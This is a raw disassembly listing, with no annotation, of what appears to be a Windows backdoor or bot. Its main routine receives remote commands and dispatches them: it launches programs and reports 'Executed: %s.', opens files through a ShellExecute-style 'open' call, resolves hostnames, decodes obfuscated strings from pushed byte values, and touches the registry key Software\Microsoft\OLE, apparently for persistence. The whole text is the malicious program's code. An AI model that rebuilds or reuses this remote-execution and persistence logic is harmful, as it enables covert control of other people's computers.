		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_40496B


loc_404978:				; CODE XREF: sub_404600+356j
					; sub_404600+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049AA
; ---------------------------------------------------------------------------


loc_40498E:				; CODE XREF: sub_404600+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049A5
		call	sub_401F87
		jmp	short loc_4049AA
; ---------------------------------------------------------------------------


loc_4049A5:				; CODE XREF: sub_404600+39Cj
		call	sub_40144C


loc_4049AA:				; CODE XREF: sub_404600+162j
					; sub_404600+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404600	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404AD0	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B16
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404B16
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B16:				; CODE XREF: sub_404AD0+1Dj
					; sub_404AD0+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404B56
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B56
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404AD0+64j
					; sub_404AD0+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404AD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BA0	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404BCA
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BCA:				; CODE XREF: sub_404BA0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BA0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C0F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C0F:				; CODE XREF: sub_404BE0+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CA4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404CA4:				; CODE XREF: sub_404C30+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E35
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		nop
		call	near ptr 27F036Dh
		test	eax, eax
		jnz	short loc_404E09
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_404E09:				; CODE XREF: sub_404C30+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404E35:				; CODE XREF: sub_404C30+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EE4
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404ED0
		mov	al, byte_449896
		test	al, al
		jz	short loc_404EA0
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404EA0:				; CODE XREF: sub_404C30+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404EB8
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404EB8:				; CODE XREF: sub_404C30+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404ED0:				; CODE XREF: sub_404C30+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_404EE4:				; CODE XREF: sub_404C30+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F2C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404F2C:				; CODE XREF: sub_404C30+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404FE6
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_404FE6:				; CODE XREF: sub_404C30+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405104
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_405104:				; CODE XREF: sub_404C30+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405127
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_405127:				; CODE XREF: sub_404C30+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4053EE
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051B1
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_405628
; ---------------------------------------------------------------------------


loc_4051B1:				; CODE XREF: sub_404C30+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405284
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_405365
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_4053CB
; ---------------------------------------------------------------------------


loc_405284:				; CODE XREF: sub_404C30+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_405365
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_405365:				; CODE XREF: sub_404C30+5E0j
					; sub_404C30+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_4053CB:				; CODE XREF: sub_404C30+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4053EE:				; CODE XREF: sub_404C30+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4054DC
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4054DC:				; CODE XREF: sub_404C30+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40564A
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_40562D
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_4055E4
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405602
; ---------------------------------------------------------------------------


loc_4055E4:				; CODE XREF: sub_404C30+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405602:				; CODE XREF: sub_404C30+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_405628:				; CODE XREF: sub_404C30+1D4j
					; sub_404C30+2AFj ...
		call	sub_401226


loc_40562D:				; CODE XREF: sub_404C30+91Cj
					; sub_404C30+C6Aj
		xor	al, al


loc_40562F:				; CODE XREF: sub_404C30+6Fj
					; sub_404C30+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_40564A:				; CODE XREF: sub_404C30+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4056C0
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4056C0:				; CODE XREF: sub_404C30+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057B1
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_4057B1:				; CODE XREF: sub_404C30+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405885
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_405819
		mov	ebx, 7


loc_405819:				; CODE XREF: sub_404C30+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_40586E
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_40586E:				; CODE XREF: sub_404C30+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_40562F
; ---------------------------------------------------------------------------


loc_405885:				; CODE XREF: sub_404C30+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40562D
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
